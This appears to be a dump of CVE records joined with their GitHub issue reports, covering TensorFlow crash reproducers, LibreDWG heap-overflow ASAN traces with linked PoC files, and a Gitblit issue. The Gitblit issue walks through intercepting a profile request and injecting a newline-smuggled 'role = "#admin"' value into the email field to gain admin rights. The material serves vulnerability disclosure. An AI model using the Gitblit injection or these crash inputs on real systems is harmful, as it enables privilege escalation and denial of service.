If I pass an empty list with a large ragged_rank to `tf.ragged.constant`,
all RAM is consumed, causing the notebook to crash.
The docs indicate that ragged_rank should be between 0 and the rank of pylist, so the large value of ragged_rank should be rejected
**Describe the expected behavior**
Some input validation should be done and an exception thrown.
**[Contributing](https://www.tensorflow.org/community/contribute)**
- Do you want to contribute a PR? (yes/no):
- Briefly describe your candidate solution(if contributing):
**Standalone code to reproduce the issue**
Provide a reproducible test case that is the bare minimum necessary to generate
the problem. If possible, please share a link to Colab/Jupyter/any notebook.
The colab notebook:
https://colab.research.google.com/drive/1OyQNTCiqHKjmHKfYbSOmVt4EfkLEgsNA?usp=sharing
```
import tensorflow as tf
tf.ragged.constant(pylist=[],ragged_rank=8968073515812833920)
```
**Other info / logs** Include any logs or source code that would be helpful to
diagnose the problem. If including tracebacks, please include the full
traceback. Large logs and files should be attached.
| Missing input validation on `tf.ragged.constant` | https://api.github.com/repos/tensorflow/tensorflow/issues/55199/comments | 4 | 2022-03-11T09:56:38Z | 2022-04-15T16:15:44Z | https://github.com/tensorflow/tensorflow/issues/55199 | 1,166,219,297 | 55,199 | 3,626 |
CVE-2022-29209 | 2022-05-21T00:15:11.517 | TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the macros that TensorFlow uses for writing assertions (e.g., `CHECK_LT`, `CHECK_GT`, etc.) have an incorrect logic when comparing `size_t` and `int` values. Due to type conversion rules, several of the macros would trigger incorrectly. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue. | {
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"tensorflow",
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] | EDIT: PR fixing this issue is https://github.com/tensorflow/tensorflow/pull/55730
<em>Please make sure that this is a bug. As per our
[GitHub Policy](https://github.com/tensorflow/tensorflow/blob/master/ISSUES.md),
we only address code/doc bugs, performance issues, feature requests and
build/installation issues on GitHub. tag:bug_template</em>
**System information**
- Have I written custom code (as opposed to using a stock example script provided in TensorFlow): no
- OS Platform and Distribution (e.g., Linux Ubuntu 16.04): Linux Ubuntu 18.04
- Mobile device (e.g. iPhone 8, Pixel 2, Samsung Galaxy) if the issue happens on mobile device:
- TensorFlow installed from (source or binary): source
- TensorFlow version (use command below): v2.8.0-2-ge994fb9c3ad 2.8.0
- Python version: 3.8.3
- Bazel version (if compiling from source): 0.25.2
- GCC/Compiler version (if compiling from source): gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
- CUDA/cuDNN version: N/A
- GPU model and memory: N/A
**Describe the current behavior**
test fails
**Describe the expected behavior**
test passes
**[Contributing](https://www.tensorflow.org/community/contribute)**
- Do you want to contribute a PR? (yes/no): yes
- Briefly describe your candidate solution(if contributing):
[EDIT: Removed incorrect hypothesis]
**Standalone code to reproduce the issue**
Provide a reproducible test case that is the bare minimum necessary to generate
the problem. If possible, please share a link to Colab/Jupyter/any notebook.
```
$ git checkout r2.8
$ bazel --host_jvm_args=-Xmx32g test --jobs=12 --config=dbg --verbose_failures -k //tensorflow/core:__tensorflow_core_lib_math_math_util_test
```
**Other info / logs** Include any logs or source code that would be helpful to
diagnose the problem. If including tracebacks, please include the full
traceback. Large logs and files should be attached.
[test.log](https://github.com/tensorflow/tensorflow/files/8443281/t.log)
| Test fail on r2.8: core:__tensorflow_core_lib_math_math_util_test | https://api.github.com/repos/tensorflow/tensorflow/issues/55530/comments | 7 | 2022-04-07T13:53:27Z | 2022-04-28T21:42:10Z | https://github.com/tensorflow/tensorflow/issues/55530 | 1,196,085,177 | 55,530 | 3,627 |
CVE-2022-29211 | 2022-05-21T00:15:11.650 | TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.histogram_fixed_width` is vulnerable to a crash when the values array contain `Not a Number` (`NaN`) elements. The implementation assumes that all floating point operations are defined and then converts a floating point result to an integer index. If `values` contains `NaN` then the result of the division is still `NaN` and the cast to `int32` would result in a crash. This only occurs on the CPU implementation. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue. | {
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"tensorflow",
"tensorflow"
] | <em>Please make sure that this is a bug. As per our
[GitHub Policy](https://github.com/tensorflow/tensorflow/blob/master/ISSUES.md),
we only address code/doc bugs, performance issues, feature requests and
build/installation issues on GitHub. tag:bug_template</em>
**System information**
- Have I written custom code (as opposed to using a stock example script provided in TensorFlow): No
- OS Platform and Distribution (e.g., Linux Ubuntu 16.04): Linux Ubuntu 18.04
- Mobile device (e.g. iPhone 8, Pixel 2, Samsung Galaxy) if the issue happens on mobile device: N/A
- TensorFlow installed from (source or binary): binary
- TensorFlow version (use command below):2.1.0
- Python version:3.7.6
- Bazel version (if compiling from source):N/A
- GCC/Compiler version (if compiling from source):N/A
- CUDA/cuDNN version:N/A
- GPU model and memory:N/A
**Describe the current behavior**
`tf.histogram_fixed_width` crashes (segmentation fault) when `values` contain nan
**Describe the expected behavior**
Expect no crash
**Standalone code to reproduce the issue**
~~~python
import tensorflow as tf
import numpy as np
tf.histogram_fixed_width(values=np.nan, value_range=[1,2])
~~~
| Segmentation fault in tf.histogram_fixed_width | https://api.github.com/repos/tensorflow/tensorflow/issues/45770/comments | 7 | 2020-12-17T00:40:20Z | 2022-04-20T18:41:15Z | https://github.com/tensorflow/tensorflow/issues/45770 | 769,380,731 | 45,770 | 3,628 |
CVE-2022-29212 | 2022-05-21T00:15:11.720 | TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, certain TFLite models that were created using TFLite model converter would crash when loaded in the TFLite interpreter. The culprit is that during quantization the scale of values could be greater than 1 but code was always assuming sub-unit scaling. Thus, since code was calling `QuantizeMultiplierSmallerThanOneExp`, the `TFLITE_CHECK_LT` assertion would trigger and abort the process. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue. | {
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] | **System information**
- OS Platform and Distribution (e.g., Linux Ubuntu 16.04): **Linux Ubuntu 20.04**
- TensorFlow installed from (source or binary): **binary**
- TensorFlow version (or github SHA if from source): **2.4.0.dev20200929**
**Command used to run the converter or code if you’re using the Python API**
```
import tensorflow as tf
import numpy as np
def wrap_frozen_graph(graph_def, inputs, outputs):
def _imports_graph_def():
tf.compat.v1.import_graph_def(graph_def, name="")
wrapped_import = tf.compat.v1.wrap_function(_imports_graph_def, [])
import_graph = wrapped_import.graph
return wrapped_import.prune(
tf.nest.map_structure(import_graph.as_graph_element, inputs),
tf.nest.map_structure(import_graph.as_graph_element, outputs))
graph_def = tf.compat.v1.GraphDef()
_ = graph_def.ParseFromString(open('minimal_093011.pb', 'rb').read())
dnn_function = wrap_frozen_graph(graph_def, inputs='import/first_graph_input:0', outputs='import_1/second_graph_output/Mean:0')
converter = tf.lite.TFLiteConverter.from_concrete_functions([dnn_function])
converter.experimental_enable_mlir_converter = True
converter.optimizations = [tf.lite.Optimize.DEFAULT]
converter.target_spec.supported_ops = [tf.lite.OpsSet.TFLITE_BUILTINS, tf.lite.OpsSet.SELECT_TF_OPS]
def representative_dataset_gen():
image = np.random.randint(low=0, high=255, size=(1, 480, 640, 3), dtype='uint8')
yield [image]
converter.representative_dataset = representative_dataset_gen
converter.inference_input_type = tf.uint8
converter.inference_output_type = tf.uint8
model = converter.convert()
```
**Link to Google Colab Notebook**
```
https://colab.research.google.com/drive/1U8UVDl6lIs1zKjfpFc7hrr3jAo-0eh_i?usp=sharing
```
**Also, please include a link to the saved model or GraphDef**
```
https://drive.google.com/file/d/1Hvr9hfvaxj3sBi0D0U0iAAe1kEaiJJWB/view?usp=sharing
```
**Failure details**
The conversion is successful in that it generates a tflite graph. However, when I invoke the graph, I get a core dump error:
[1] 511859 abort (core dumped) python src/reproduce_minimal_tflite_test.py
**Code used to invoke the graph. Also included in Colab notebook linked above.**
```
image = np.random.randint(low=0, high=255, size=(1, 480, 640, 3), dtype='uint8')
tflite_model = tf.lite.Interpreter('models/minimal_093011.tflite')
tflite_model.allocate_tensors()
input_details = tflite_model.get_input_details()
tflite_model.set_tensor(input_details[0]['index'], image)
tflite_model.invoke()
```
**Traceback**
```
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1 0x00007ffff7dc0859 in __GI_abort () at abort.c:79
#2 0x00007fffb9386e42 in tflite::QuantizeMultiplierSmallerThanOneExp(double, int*, int*) ()
from /home/yousef/miniconda3/envs/tf2.3/lib/python3.7/site-packages/tensorflow/lite/python/interpreter_wrapper/_pywrap_tensorflow_interpreter_wrapper.so
#3 0x00007fffb9158090 in void tflite::ops::builtin::comparisons::(anonymous namespace)::ComparisonQuantized<signed char, &(bool tflite::reference_ops::GreaterFn<int>(int, int))>(TfLiteTensor const*, TfLiteTensor const*, TfLiteTensor*, bo
ol) () from /home/yousef/miniconda3/envs/tf2.3/lib/python3.7/site-packages/tensorflow/lite/python/interpreter_wrapper/_pywrap_tensorflow_interpreter_wrapper.so
#4 0x00007fffb9158b7e in tflite::ops::builtin::comparisons::(anonymous namespace)::GreaterEval(TfLiteContext*, TfLiteNode*) ()
from /home/yousef/miniconda3/envs/tf2.3/lib/python3.7/site-packages/tensorflow/lite/python/interpreter_wrapper/_pywrap_tensorflow_interpreter_wrapper.so
#5 0x00007fffb9369713 in tflite::Subgraph::Invoke() () from /home/yousef/miniconda3/envs/tf2.3/lib/python3.7/site-packages/tensorflow/lite/python/interpreter_wrapper/_pywrap_tensorflow_interpreter_wrapper.so
#6 0x00007fffb936c1f0 in tflite::Interpreter::Invoke() () from /home/yousef/miniconda3/envs/tf2.3/lib/python3.7/site-packages/tensorflow/lite/python/interpreter_wrapper/_pywrap_tensorflow_interpreter_wrapper.so
#7 0x00007fffb90f7548 in tflite::interpreter_wrapper::InterpreterWrapper::Invoke() ()
from /home/yousef/miniconda3/envs/tf2.3/lib/python3.7/site-packages/tensorflow/lite/python/interpreter_wrapper/_pywrap_tensorflow_interpreter_wrapper.so
#8 0x00007fffb90eb6ee in pybind11::cpp_function::initialize<pybind11_init__pywrap_tensorflow_interpreter_wrapper(pybind11::module&)::{lambda(tflite::interpreter_wrapper::InterpreterWrapper&)#6}, pybind11::object, tflite::interpreter_wrap
per::InterpreterWrapper&, pybind11::name, pybind11::is_method, pybind11::sibling>(pybind11_init__pywrap_tensorflow_interpreter_wrapper(pybind11::module&)::{lambda(tflite::interpreter_wrapper::InterpreterWrapper&)#6}&&, pybind11::object (*
)(tflite::interpreter_wrapper::InterpreterWrapper&), pybind11::name const&, pybind11::is_method const&, pybind11::sibling const&)::{lambda(pybind11::detail::function_call&)#3}::_FUN(pybind11::detail::function_call) ()
from /home/yousef/miniconda3/envs/tf2.3/lib/python3.7/site-packages/tensorflow/lite/python/interpreter_wrapper/_pywrap_tensorflow_interpreter_wrapper.so
#9 0x00007fffb90ecb39 in pybind11::cpp_function::dispatcher(_object*, _object*, _object*) ()
from /home/yousef/miniconda3/envs/tf2.3/lib/python3.7/site-packages/tensorflow/lite/python/interpreter_wrapper/_pywrap_tensorflow_interpreter_wrapper.so
#10 0x00005555556b9914 in _PyMethodDef_RawFastCallKeywords (method=0x55555694b100, self=0x7fffbb8c9270, args=0x7fffaf04dd98, nargs=<optimised out>, kwnames=<optimised out>)
at /tmp/build/80754af9/python_1598874792229/work/Objects/call.c:693
#11 0x00005555556b9a31 in _PyCFunction_FastCallKeywords (func=0x7fffc08de460, args=<optimised out>, nargs=<optimised out>, kwnames=<optimised out>) at /tmp/build/80754af9/python_1598874792229/work/Objects/call.c:732
#12 0x000055555572639e in call_function (kwnames=0x0, oparg=<optimised out>, pp_stack=<synthetic pointer>) at /tmp/build/80754af9/python_1598874792229/work/Python/ceval.c:4619
#13 _PyEval_EvalFrameDefault (f=<optimised out>, throwflag=<optimised out>) at /tmp/build/80754af9/python_1598874792229/work/Python/ceval.c:3093
#14 0x00005555556b8e7b in function_code_fastcall (globals=<optimised out>, nargs=1, args=<optimised out>, co=<optimised out>) at /tmp/build/80754af9/python_1598874792229/work/Objects/call.c:283
#15 _PyFunction_FastCallKeywords (func=<optimised out>, stack=0x7ffff6d615c0, nargs=1, kwnames=<optimised out>) at /tmp/build/80754af9/python_1598874792229/work/Objects/call.c:408
#16 0x0000555555721740 in call_function (kwnames=0x0, oparg=<optimised out>, pp_stack=<synthetic pointer>) at /tmp/build/80754af9/python_1598874792229/work/Python/ceval.c:4616
#17 _PyEval_EvalFrameDefault (f=<optimised out>, throwflag=<optimised out>) at /tmp/build/80754af9/python_1598874792229/work/Python/ceval.c:3110
#18 0x0000555555668829 in _PyEval_EvalCodeWithName (_co=0x7ffff6cfa1e0, globals=<optimised out>, locals=<optimised out>, args=<optimised out>, argcount=<optimised out>, kwnames=0x0, kwargs=0x0, kwcount=0, kwstep=2, defs=0x0, defcount=0,
kwdefs=0x0, closure=0x0, name=0x0, qualname=0x0) at /tmp/build/80754af9/python_1598874792229/work/Python/ceval.c:3930
#19 0x0000555555669714 in PyEval_EvalCodeEx (_co=<optimised out>, globals=<optimised out>, locals=<optimised out>, args=<optimised out>, argcount=<optimised out>, kws=<optimised out>, kwcount=0, defs=0x0, defcount=0, kwdefs=0x0,
closure=0x0) at /tmp/build/80754af9/python_1598874792229/work/Python/ceval.c:3959
#20 0x000055555566973c in PyEval_EvalCode (co=<optimised out>, globals=<optimised out>, locals=<optimised out>) at /tmp/build/80754af9/python_1598874792229/work/Python/ceval.c:524
#21 0x0000555555780f14 in run_mod (mod=<optimised out>, filename=<optimised out>, globals=0x7ffff6dcac30, locals=0x7ffff6dcac30, flags=<optimised out>, arena=<optimised out>)
at /tmp/build/80754af9/python_1598874792229/work/Python/pythonrun.c:1035
#22 0x000055555578b331 in PyRun_FileExFlags (fp=0x5555558c3100, filename_str=<optimised out>, start=<optimised out>, globals=0x7ffff6dcac30, locals=0x7ffff6dcac30, closeit=1, flags=0x7fffffffdd80)
at /tmp/build/80754af9/python_1598874792229/work/Python/pythonrun.c:988
#23 0x000055555578b523 in PyRun_SimpleFileExFlags (fp=0x5555558c3100, filename=<optimised out>, closeit=1, flags=0x7fffffffdd80) at /tmp/build/80754af9/python_1598874792229/work/Python/pythonrun.c:429
#24 0x000055555578c655 in pymain_run_file (p_cf=0x7fffffffdd80, filename=0x5555558c2870 L"src/reproduce_minimal_tflite_test.py", fp=0x5555558c3100) at /tmp/build/80754af9/python_1598874792229/work/Modules/main.c:462
#25 pymain_run_filename (cf=0x7fffffffdd80, pymain=0x7fffffffde90) at /tmp/build/80754af9/python_1598874792229/work/Modules/main.c:1652
#26 pymain_run_python (pymain=0x7fffffffde90) at /tmp/build/80754af9/python_1598874792229/work/Modules/main.c:2913
#27 pymain_main (pymain=0x7fffffffde90) at /tmp/build/80754af9/python_1598874792229/work/Modules/main.c:3460
#28 0x000055555578c77c in _Py_UnixMain (argc=<optimised out>, argv=<optimised out>) at /tmp/build/80754af9/python_1598874792229/work/Modules/main.c:3495
#29 0x00007ffff7dc20b3 in __libc_start_main (main=0x555555649c90 <main>, argc=2, argv=0x7fffffffdff8, init=<optimised out>, fini=<optimised out>, rtld_fini=<optimised out>, stack_end=0x7fffffffdfe8) at ../csu/libc-start.c:308
#30 0x0000555555730ff0 in _start () at ../sysdeps/x86_64/elf/start.S:103
```
| Core dumped when invoking TFLite model converted using latest nightly TFLite converter (2.4.0dev2020929) | https://api.github.com/repos/tensorflow/tensorflow/issues/43661/comments | 15 | 2020-09-30T01:56:21Z | 2022-03-22T21:07:41Z | https://github.com/tensorflow/tensorflow/issues/43661 | 711,575,230 | 43,661 | 3,629 |
CVE-2022-29213 | 2022-05-21T00:15:11.787 | TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the `tf.compat.v1.signal.rfft2d` and `tf.compat.v1.signal.rfft3d` lack input validation and under certain condition can result in crashes (due to `CHECK`-failures). Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue. | {
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"tensorflow",
"tensorflow"
] | **System information**
- Have I written custom code (as opposed to using a stock example script provided in TensorFlow): Yes
- OS Platform and Distribution (e.g., Linux Ubuntu 16.04): N/A
- Mobile device (e.g. iPhone 8, Pixel 2, Samsung Galaxy) if the issue happens on mobile device:
- TensorFlow installed from (source or binary): binary
- TensorFlow version (use command below): 2.8.0
- Python version:3.7.12
- Bazel version (if compiling from source):
- GCC/Compiler version (if compiling from source):
- CUDA/cuDNN version: 11.2 (based on a colab notebook)
- GPU model and memory: Tesla T4, 15109MiB (based on a colab notebook)
**Describe the current behavior**
The following code snippets lead to crashes when executed:
```
import numpy as np
import tensorflow as tf
a = np.empty([6, 0])
b = np.array([1, -1])
try:
tf.compat.v1.signal.rfft2d(input_tensor=a,fft_length=b)
# on a different machine: Check failed: size >= 0 (-9223372036854775808 vs. 0)
# Aborted (core dumped)
except:
pass
print('execution does not reach this line')
```
and
```
import numpy as np
import tensorflow as tf
a = np.empty([6, 1, 1])
b = np.array([1, 2, 0])
try:
tf.compat.v1.signal.irfft3d(input_tensor=a,fft_length=b)
# on a different machine: failed to initialize batched cufft plan with customized allocator: Failed to make cuFFT batched plan.
# Aborted (core dumped)
except:
pass
print('execution does not reach this line')
```
In either case, the inputs do not quite make sense, and tensorflow should throw.
**Describe the expected behavior**
Tensorflow should throw exceptions instead of crashing.
**[Contributing](https://www.tensorflow.org/community/contribute)**
- Do you want to contribute a PR? (yes/no):
- Briefly describe your candidate solution(if contributing):
**Standalone code to reproduce the issue**
Here is a colab notebook:
https://colab.research.google.com/drive/168jYG6MqnW4jpJdIXFMUBkyiaweA43aP?usp=sharing
Edit: the notebook has to be run with GPU
The code snippets above should also reproduce the issue.
| `tf.compat.v1.signal.rfft2d` and `rfft3d` lacks input validation leading to crashes | https://api.github.com/repos/tensorflow/tensorflow/issues/55263/comments | 2 | 2022-03-17T05:41:45Z | 2022-03-23T16:05:25Z | https://github.com/tensorflow/tensorflow/issues/55263 | 1,171,956,537 | 55,263 | 3,630 |
CVE-2022-31267 | 2022-05-21T21:15:52.017 | Gitblit 1.9.2 allows privilege escalation via the Config User Service: a control character can be placed in a profile data field, such as an emailAddress%3Atext 'attacker@example.com\n\trole = "#admin"' value. | {
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] | 269 | https://github.com/gitblit/gitblit/issues/1410 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"gitblit",
"gitblit"
] | Hello, I tried to contact the developers of your product but did not get a response, so I decided to raise the vulnerability to you in the issue, hoping that you can fix it as soon as possible to avoid a wider impact of the vulnerability.
## Principle of the vulnerability
Gitblit uses file storage to manage user information, passwords, account types, and permissions. When a user with low privileges modifies their information, if they use line breaks and space characters, they can create new users or assign higher
higher privileges.
The relevant code logic is in the `write` function of `com.gitblit.ConfigUserService`. The reason for the problem is that gitblit does not do a checksum on the characters entered by the user, and malicious characters are printed directly in the file, causing gitblit to parse the file incorrectly when reading it.
The location where users are saved is in data/users.conf.
The default users.conf is as follows.
```
[user "admin"]
password = admin
role = "#admin"
role = "#notfederated"
```
The user name is admin, the password is admin, and the user's permissions are admin permissions, and the file will change as the user logs in. After logging in once the file reads
```
[user "admin"]
accountType = LOCAL
cookie = aad70b95ca5ffe59c88cd567b91999b263acb659
emailMeOnMyTicketChanges = true
password = PBKDF2:$0$33c135e0e31a085587920e0981401bc34169cc1460a321d8f748969939383ce76c403eda5015281d2ff3b2203c5c2397154662b3219ba979476d9e7bc47c29f9
role = "#admin"
role = "#notfederated"
```
If there is a new user, a new user will be created below the user, and which will be accompanied by the user's emailAddress information, if the attacker in the modification of their own emailAddress, the emailAddress set to ` xxx.@qq.com\n\trole = "#admin"\n[user "other"] `,you can modify the permissions of their own user to admin.
## Vulnerability recurrence
1. The attacker has an account with no privileges, username `test`, password `test1`, and privileges `None`, and the current users.conf is.
```
[user "admin"]
accountType = LOCAL
cookie = aad70b95ca5ffe59c88cd567b91999b263acb659
emailMeOnMyTicketChanges = true
password = PBKDF2:$0$33c135e0e31a085587920e0981401bc34169cc1460a321d8f748969939383ce76c403eda5015281d2ff3b2203c5c2397154662b3219ba979476d9e7bc47c29f9
role = "#admin"
role = "#notfederated"
[user "test"]
accountType = LOCAL
cookie = 513b0430e84cbccad003a3b8e5c614797a311e70
emailAddress = 111@qq.com
emailMeOnMyTicketChanges = true
password = PBKDF2:$0$ec5a6828b39c0ec958c7f70861b0bbc7aa3b74e45ebfe8a0ffc0689923b517e96a8d8039392631369b6cd2d6742771d582f0e4cb24c254cdbdc126c7ebcd88f4
role = "#none"
```
2. After logging in, click on Profile->Preferences in order
Turn on burpsuite's blocking feature, click Save, and block the request with burpsuite.
3. In burpsuite, make changes to the request.
Modify the value of emailAddress%3Atext to `111@qq.com\n\trole = "#admin"\n[user "other"]` after url encoding. The` [user "other"] `at the end of the payload is to avoid the impact of the original role = "#none".
The encoding can be done using burpsuite's Decode function
4. After modifying the request body and sending the request, users.conf changes to the following state.
You can see that the test user has become admin privileges. Refreshing the page, at this point the test user has full access to gitblit, and can see all Git repositories and manage all users and teams
| A user privilege elevation vulnerability in the latest version of gitblit | https://api.github.com/repos/gitblit-org/gitblit/issues/1410/comments | 7 | 2022-02-28T08:06:52Z | 2022-11-12T12:45:01Z | https://github.com/gitblit-org/gitblit/issues/1410 | 1,153,776,331 | 1,410 | 3,631 |
CVE-2021-42585 | 2022-05-23T11:16:10.547 | A heap buffer overflow was discovered in copy_compressed_bytes in decode_r2007.c in dwgread before 0.12.4 via a crafted dwg file. | {
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] | github.com | [
"LibreDWG",
"libredwg"
] | ## Affected version
[the latest commit](https://github.com/LibreDWG/libredwg/commit/4c210bbae04957b7d4aba55aee8dca42337f8d47) and 0.12.4
## What's the problem?
A heap buffer overflow was discovered in copy_compressed_bytes in decode_r2007.c:332.
ASAN report:
```
./dwgread ./tests_64205
ERROR: Section[7]->pages[0] overflow
Warning: Failed to find section_info[1]
ERROR: Failed to read header section
Warning: Failed to find section_info[3]
ERROR: Failed to read class section
Warning: Failed to find section_info[7]
ERROR: Failed to read objects section
Warning: Failed to find section_info[2]
Warning: thumbnail.size mismatch: 185216 != 163880
ERROR: Failed to find page 222
=================================================================
==9485==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000002e3 at pc 0x000000ca5f2b bp 0x7ffdbc6926d0 sp 0x7ffdbc6926c8
WRITE of size 8 at 0x6020000002e3 thread T0
#0 0xca5f2a in memcpy /usr/include/x86_64-linux-gnu/bits/string3.h:53:10
#1 0xca5f2a in copy_compressed_bytes /root/fuzz/libredwg/src/decode_r2007.c:332:7
#2 0xca4195 in decompress_r2007 /root/fuzz/libredwg/src/decode_r2007.c:523:7
#3 0xcaa7fe in read_data_page /root/fuzz/libredwg/src/decode_r2007.c:728:13
#4 0xcaa319 in read_data_section /root/fuzz/libredwg/src/decode_r2007.c:811:19
#5 0xc9be6b in read_2007_section_revhistory /root/fuzz/libredwg/src/decode_r2007.c:1945:11
#6 0xc83d65 in read_r2007_meta_data /root/fuzz/libredwg/src/decode_r2007.c:2387:12
#7 0x4f9fcc in decode_R2007 /root/fuzz/libredwg/src/decode.c:3836:11
#8 0x4e49ab in dwg_decode /root/fuzz/libredwg/src/decode.c:248:29
#9 0x4c75cc in dwg_read_file /root/fuzz/libredwg/src/dwg.c:254:11
#10 0x4c5d47 in main /root/fuzz/libredwg/programs/dwgread.c
#11 0x7f581684583f in __libc_start_main /build/glibc-S7Ft5T/glibc-2.23/csu/../csu/libc-start.c:291
#12 0x41ba58 in _start (/root/fuzz/pocs/dwgread+0x41ba58)
0x6020000002e3 is located 3 bytes to the right of 16-byte region [0x6020000002d0,0x6020000002e0)
allocated by thread T0 here:
#0 0x495a22 in calloc (/root/fuzz/pocs/dwgread+0x495a22)
#1 0xca9e98 in read_data_section /root/fuzz/libredwg/src/decode_r2007.c:774:26
SUMMARY: AddressSanitizer: heap-buffer-overflow /usr/include/x86_64-linux-gnu/bits/string3.h:53:10 in memcpy
Shadow bytes around the buggy address:
0x0c047fff8000: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x0c047fff8010: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 06 fa
0x0c047fff8020: fa fa 04 fa fa fa 04 fa fa fa 04 fa fa fa 04 fa
0x0c047fff8030: fa fa 04 fa fa fa 00 06 fa fa 04 fa fa fa 04 fa
0x0c047fff8040: fa fa 00 00 fa fa 00 00 fa fa 02 fa fa fa 02 fa
=>0x0c047fff8050: fa fa 02 fa fa fa 02 fa fa fa 00 00[fa]fa fa fa
0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==9485==ABORTING
```
## Compile command
```
CC="clang" CFLAGS="-O1 -g -fsanitize=address" ./configure --enable-release --disable-shared && make
```
## How can we reproduce the issue?
```
unzip tests_64205.zip
dwgread ./tests_64205
```
POC file :
[tests_64205.zip](https://github.com/LibreDWG/libredwg/files/6606900/tests_64205.zip)
| Heap-buffer-overflow in copy_compressed_bytes in decode_r2007.c:332 | https://api.github.com/repos/LibreDWG/libredwg/issues/351/comments | 1 | 2021-06-07T07:50:57Z | 2021-06-07T19:17:53Z | https://github.com/LibreDWG/libredwg/issues/351 | 913,238,141 | 351 | 3,632 |
CVE-2021-42586 | 2022-05-23T11:16:10.600 | A heap buffer overflow was discovered in copy_bytes in decode_r2007.c in dwgread before 0.12.4 via a crafted dwg file. | {
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"Exploit",
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"Third Party Advisory"
] | github.com | [
"LibreDWG",
"libredwg"
] | ## Affected version
[the latest commit](https://github.com/LibreDWG/libredwg/commit/4c210bbae04957b7d4aba55aee8dca42337f8d47) and 0.12.4
## What's the problem?
A heap buffer overflow was discovered in copy_bytes in decode_r2007.c:228.
ASAN report:
```
./dwgread ./tests_64199
=================================================================
==9330==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62a000005f55 at pc 0x000000ca93c3 bp 0x7ffe5a6134c0 sp 0x7ffe5a6134b8
WRITE of size 1 at 0x62a000005f55 thread T0
#0 0xca93c2 in copy_bytes /root/fuzz/libredwg/src/decode_r2007.c:228:12
#1 0xca431a in decompress_r2007 /root/fuzz/libredwg/src/decode_r2007.c:550:11
#2 0xcaa7fe in read_data_page /root/fuzz/libredwg/src/decode_r2007.c:728:13
#3 0xcaa319 in read_data_section /root/fuzz/libredwg/src/decode_r2007.c:811:19
#4 0xc8bee9 in read_2007_section_handles /root/fuzz/libredwg/src/decode_r2007.c:1622:11
#5 0xc83c84 in read_r2007_meta_data /root/fuzz/libredwg/src/decode_r2007.c:2378:12
#6 0x4f9fcc in decode_R2007 /root/fuzz/libredwg/src/decode.c:3836:11
#7 0x4e49ab in dwg_decode /root/fuzz/libredwg/src/decode.c:248:29
#8 0x4c75cc in dwg_read_file /root/fuzz/libredwg/src/dwg.c:254:11
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0x62a000005f55 is located 0 bytes to the right of 23893-byte region [0x62a000000200,0x62a000005f55)
allocated by thread T0 here:
#0 0x495a22 in calloc (/root/fuzz/pocs/dwgread+0x495a22)
#1 0xca9e98 in read_data_section /root/fuzz/libredwg/src/decode_r2007.c:774:26
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/fuzz/libredwg/src/decode_r2007.c:228:12 in copy_bytes
Shadow bytes around the buggy address:
0x0c547fff8b90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c547fff8ba0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c547fff8bb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c547fff8bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c547fff8bd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c547fff8be0: 00 00 00 00 00 00 00 00 00 00[05]fa fa fa fa fa
0x0c547fff8bf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c547fff8c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c547fff8c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c547fff8c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c547fff8c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==9330==ABORTING
```
## Compile command
```
CC="clang" CFLAGS="-O1 -g -fsanitize=address" ./configure --enable-release --disable-shared && make
```
## How can we reproduce the issue?
```
unzip tests_64199.zip
dwgread ./tests_64199
```
POC file : [tests_64199.zip](https://github.com/LibreDWG/libredwg/files/6606871/tests_64199.zip)
